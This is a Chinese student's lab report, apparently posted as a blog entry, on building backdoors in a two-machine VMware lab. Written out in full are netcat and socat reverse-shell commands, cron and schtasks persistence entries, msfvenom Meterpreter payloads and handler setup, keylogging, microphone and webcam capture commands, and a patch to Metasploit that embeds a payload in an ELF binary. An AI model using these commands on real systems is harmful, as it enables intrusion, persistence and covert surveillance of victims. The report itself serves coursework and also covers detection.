20242315 2025-2026-1 《网络与系统攻防技术》实验后门原理与实践实验报告

学号 20242315 2025-2026-1 《网络与系统攻防技术》实验后门原理与实践实验报告

目录


1. 基础知识

实验目的与基础知识总结:
本实验旨在学习 Netcat、Socat、Meterpreter 生成、投放、自启动技术,使用后门远程控制另一主机,获取目标主机音频、摄像头、击键记录等内容,并尝试提权;同时学习使用 MSF 生成 shellcode 并注入到缓冲区溢出程序 pwn1 中,获取反弹连接 Shell。

核心概念梳理:

  • 后门(Backdoor):绕过安全性控制而获取对程序或系统访问权的方法。
  • Netcat & Socat:Netcat 常被称为“网络瑞士军刀”,用于建立 TCP/UDP 连接;Socat 是功能更强大的网络工具,支持端口转发、伪终端等特性。
  • Meterpreter:Metasploit 框架中的高级 Payload,以内存注入方式运行,隐蔽性较强,支持提权、录音录像、键盘记录等后渗透操作。
  • Shellcode 与缓冲区溢出:Shellcode 是一段用于利用漏洞执行恶意操作的代码。缓冲区溢出是指程序向缓冲区填充超出其容量的数据,导致覆盖相邻内存(如 EIP),从而控制程序执行流跳转到 Shellcode。

2. 实验内容

本实验通过四种方法实现和启动后门:

  1. 使用 netcat 获取主机的 Shell 并配置 cron 定时任务;
  2. 使用 socat 获取主机的 Shell 并配置 Windows 任务计划;
  3. 使用 MSF meterpreter 生成后门程序并远程控制目标主机,获取其音频、摄像头与击键记录;
  4. 使用 MSF 生成 shellcode 并注入 pwn1 程序获取反弹连接 Shell。

实验环境:
攻击机为安装 Kali Linux 2026.2 的 VMware 虚拟机,靶机为 Windows11 主机,两台机器通过 VMnet8 虚拟网卡处于同一局域网内。具体网络配置如下:

设备 摘要
攻击机 Kali Linux 2026.2 (IP: 192.168.64.128)
靶机 Windows 11 24H2 (IP: 192.168.64.1)
网络 VMware VMnet8 虚拟网卡, 192.168.64.0/24 网段

image
(图1:Kali 虚拟机网卡配置)

image
(图2:Windows 主机 VMnet8 网卡配置)

3. 实验过程

3.1 使用 netcat 获取主机的 Shell

3.1.1 环境准备

关闭 Windows 主机的防火墙与实时防护,避免拦截连接或查杀后门程序;确认两台主机网络互通,在 Kali 中 ping Windows 主机 192.168.64.1,结果 0% 丢包。

屏幕截图 2026-10-12 104342
(图3:关闭 Windows Defender 防火墙)

屏幕截图 2026-10-12 104406
(图4:Kali ping Windows 主机连通测试)

3.1.2 监听并获得虚拟机的 Shell

在 Windows 主机上,通过 ncat 开启监听端口 7777,等待连接。在 Kali 虚拟机中执行命令主动连接 Windows 主机的 7777 端口,连接成功后即把本机 Shell 的输入输出权完全交给远程主机。

nc 192.168.64.1 7777 -e /bin/sh

image
(图5:Windows 主机 ncat 监听 7777 端口)

连接成功后,Windows 主机就获得了 Kali 虚拟机的 Shell,可以执行 whoami、ls、pwd 等命令。

屏幕截图 2026-10-12 104815
(图6:Windows 主机获得 Kali 的 Shell)

3.1.3 启动定时任务(cron)

Cron 是 Linux 下用来周期性地执行某种任务或等待处理某些事件的守护进程。在 Kali 中输入 crontab -e 编辑 cron 表,在文件末尾添加任务,表示每分钟自动执行一次反弹 Shell 命令,形成持久化后门。

* * * * * /bin/nc 192.168.64.1 7777 -e /bin/sh

image

(图7:编辑 cron 定时任务)

保存退出后,使用 crontab -l 查看时间表,确认任务写入成功。

image

(图8:查看 cron 定时任务)

3.2 使用 socat 获取主机的 Shell

3.2.1 环境准备

socat 是功能更强大的网络工具,支持端口转发、伪终端等特性。在 Windows(Cygwin 环境)上执行监听命令,一旦有客户端连接就为其启动 bash 并分配伪终端。在 Kali 中执行连接命令,成功获取 Windows 主机的 Shell。

# Windows端接收监听
socat tcp-listen:7788,reuseaddr,fork exec:'/bin/bash',pty,stderr

# Kali端连接
socat - tcp:192.168.64.1:7788

image

(图9:socat 反弹 Shell 交互界面)

3.2.2 设置定时任务(schtasks)

在 Windows 主机上使用 schtasks 创建每分钟执行一次后门程序的任务,实现后门持久化。

schtasks /create /sc minute /mo 1 /tn "20242315_zhangguanlun" /tr "C:\Users\leo\Desktop\20242315_zhangguanlun.exe"

image

(图10:创建 Windows 计划任务)

3.3 使用 MSF meterpreter 生成后门

3.3.1 后门生成

在 Kali 中使用 msfvenom 生成 Windows 平台的 Meterpreter 反弹 TCP 后门。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.64.128 LPORT=8888 -f exe > /home/kali/exp2/20242315_backdoor.exe

image

(图11:msfvenom 生成后门文件)

3.3.2 文件传输

使用 socat 将后门文件传输到 Windows 主机,Windows 端先监听 8899 端口,Kali 端将文件发送过去,并在 Windows 目录中确认文件完整接收(7168 字节)。

# Windows端接收
socat tcp-listen:8899, fork, reuseaddr open:D:\backdoor\20242315_backdoor.exe,create

# Kali端发送
socat -u file:/home/kali/exp2/20242315_backdoor.exe tcp:192.168.64.1:8899

image

(图12:Windows 目录确认后门文件接收成功)

3.3.3 配置监听模块

在 Kali 中启动 msfconsole,配置 multi/handler 监听模块,运行后等待目标回连。在 Windows 主机上运行后门程序后,MSF 成功捕获连接,建立 Meterpreter 会话,攻击者获得目标主机的控制权。

image

(图13:MSF 配置监听并启动)

image

(图14:成功建立 Meterpreter 会话)

3.4 使用 Meterpreter 获取目标主机资源并尝试提权

3.4.1 获取音频、摄像头、击键记录

进入 Meterpreter 会话后,执行后渗透命令获取目标主机信息与敏感数据。

getuid           # 查看当前用户  
sysinfo          # 查看系统信息  
record_mic -d 10 # 录制10秒麦克风音频
webcam_snap      # 摄像头拍照  
keyscan_start    # 开启键盘记录  
keyscan_dump     # 导出键盘记录  
keyscan_stop     # 停止键盘记录  
ps               # 查看进程列表  

image

(图15:Meterpreter 获取系统信息、录音、摄像头、键盘记录)

键盘记录功能成功捕获目标主机的击键内容。

image
(图16:导出键盘击键记录)

屏幕截图 2026-10-16 221814

(图17:导出键盘击键记录)

3.4.2 尝试提权

执行 getsystem 尝试提升到系统权限,结果提示 All pipe instances are busy,传统命名管道模拟、令牌复制等提权方式均失败,说明 Windows 11 高版本已修复相关漏洞,无法直接提权。

image

(图18:getsystem 提权失败)

3.5 使用 MSF 生成 shellcode,注入 pwn1 获取反弹连接 Shell

3.5.1 修改 Metasploit 源码,开启 ELF 段 RWE 权限

msfvenom 的 -x 模板注入默认生成的 ELF 段没有同时具备读写执行权限,无法正常运行 payload。修改 Metasploit 框架源码 lib/msf/util/exe/linux/x86.rb,修改 LOAD 段标志为 RWE(可读、可写、可执行),关闭 W^X 保护,使 shellcode 能够在内存中正常执行。修改完成后关闭所有 msfconsole,让源码生效。

屏幕截图 2026-10-17 185556

(图19:修改 linux/x86.rb 源码设置 LOAD 段 RWE 权限)

3.5.2 使用 msfvenom 生成注入 payload 的 ELF 后门

以 pwn1 作为模板程序,使用 msfvenom 将 linux/x86/meterpreter/reverse_tcp 载荷嵌入 pwn1,生成新 ELF 后门文件。

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.64.128 LPORT=8888 -x pwn1 -f elf -o 20242315_pwn1012

屏幕截图 2026-10-17 190013

(图20:msfvenom 生成 ELF 后门终端输出)

3.5.3 校验 ELF 程序段权限

执行 readelf 查看程序 Program Header,确认 LOAD 段权限标志为 RWE,验证修改生效。

readelf -lW 20242315_pwn1012

3.5.4 添加可执行权限

chmod +x 20242315_pwn1012

3.5.5 MSF 监听配置

新开终端启动 msfconsole,加载 handler 模块等待反弹连接。

msfconsole
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.64.128
set LPORT 8888
exploit

3.5.6 运行 ELF 后门获取 Meterpreter 会话

在第三个终端执行生成的后门程序:

./20242315_pwn1012

屏幕截图 2026-10-17 190332

(图22:执行 ELF 后门命令终端截图)

程序运行后,攻击机 MSF 成功收到 Meterpreter 反弹会话。在 meterpreter 交互环境执行命令验证控制能力:

sysinfo
getuid
pwd
ls
ps

屏幕截图 2026-10-17 190346
(图23:Meterpreter 会话,sysinfo、getuid 等命令输出结果)

3.5.7 原理说明

通过修改 ELF 文件段权限,将 meterpreter payload 植入原有 pwn1 可执行文件。运行程序时,优先执行植入的 shellcode,主动反向连接攻击机 IP 与端口,建立 Meterpreter 控制会话,实现基于正常程序伪装的 Linux 后门。

4. 问题及解决方案

问题1: 后门程序在 Windows 上运行后立即消失,无法建立会话。
解决方案: Windows Defender 实时防护识别并删除了后门 exe。将后门所在目录加入杀毒软件排除项,并在实验期间临时关闭实时保护,即可正常运行后门。

问题2: 使用 ncat 传输后门文件时出现大量乱码(This program cannot be run in DOS mode),文件损坏。
解决方案: 接收端未将二进制数据重定向保存到文件,而是直接打印到终端。应使用 ncat -l -p 端口 > 文件名 将收到的数据写入文件,或改用 socat 的 open:...create 方式接收文件。

问题3: Meterpreter 执行 keyscan_start 键盘记录时提示 Incorrect function。
解决方案: Windows 11 高版本安全机制限制,普通权限下无法加载键盘钩子;getsystem 提权也因 All pipe instances are busy 失败,说明传统提权漏洞已被修复。

问题4: 使用 msfvenom -x 注入 pwn1 生成的 ELF 无法运行,无法反弹 shell。
解决方案: Metasploit 默认生成 ELF 的 LOAD 段不具备 RWE 权限,W^X 保护阻止 shellcode 执行。修改 linux/x86.rb 源码,把 LOAD 段标志修改为 RWE。

问题5: 栈溢出注入 shellcode 时出现段错误。
解决方案: GDB 调试环境会额外加载环境变量导致栈地址偏移,直接运行与调试环境地址不一致。可在程序运行时 attach GDB 获取真实栈地址,或加大 NOP 雪橇长度提高命中率。

5. 学习感悟、思考等

本次实验我学习了后门原理与实践,内容包括:使用 netcat、socat 获取远程 Shell 并配置定时持久化任务,使用 MSF meterpreter 生成、投放、自启动后门并远程控制目标主机,获取其音频、摄像头、击键记录,并尝试提权;还学习了使用 MSF 生成 shellcode 并注入到 pwn1 缓冲区溢出程序中获取反弹连接 Shell。通过实验,我对后门程序的原理有了更深入的理解。

在实验过程中遇到了很多问题,包括杀毒软件查杀后门、文件传输乱码、键盘记录与提权失败、MSF 模板注入源码 Bug、栈地址偏移导致段错误等。在排查和解决这些问题的过程中,我学会了分析报错原因、查阅资料、修改源码,对网络攻防技术的实践有了更深的体会。总而言之,后门技术具有双面性,一方面可以用于安全评估和应急响应,另一方面一旦被恶意利用会造成严重危害,因此必须严格遵守法律法规,仅在授权环境中使用。

附加思考题解答:

  1. 列举你能想到的一个后门进入到你系统中的可能方式:
    钓鱼邮件。通过钓鱼邮件诱导用户点击恶意链接或附件,触发恶意脚本在用户无感知的情况下静默安装后门程序。
  2. 列举你知道的后门如何启动起来(Windows 及 Linux)的方式:
    Windows 下可通过开机自动(注册表 Run 键、启动文件夹、服务)、任务计划程序定时触发;Linux 下可通过 cron 定时任务、systemd 服务、bashrc 等 shell 启动文件等方式启动后门。
  3. Meterpreter 有哪些给你印象深刻的功能:
    Meterpreter 功能非常强大,可以远程获取目标主机的音频、键盘击键、摄像头画面、屏幕截图等敏感资料,支持进程迁移、文件管理、系统命令执行、权限提升等操作,且以内存注入方式运行,隐蔽性较强。正因其破坏性强,必须在合法授权的测试环境中审慎使用。
  4. 如何发现自己系统有没有被安装后门:
    可以查看进程列表,排查是否存在可疑的异常进程;查看任务计划程序(Windows)或 cron 表(Linux)是否存在异常定时任务;检查系统是否频繁主动向陌生主机发起网络连接;同时可分析系统日志和网络流量进行倒查,并定期使用杀毒软件进行全盘扫描。

参考资料

posted @ 2026-10-17 21:52  ttt111111  阅读(3)  评论(0)    收藏  举报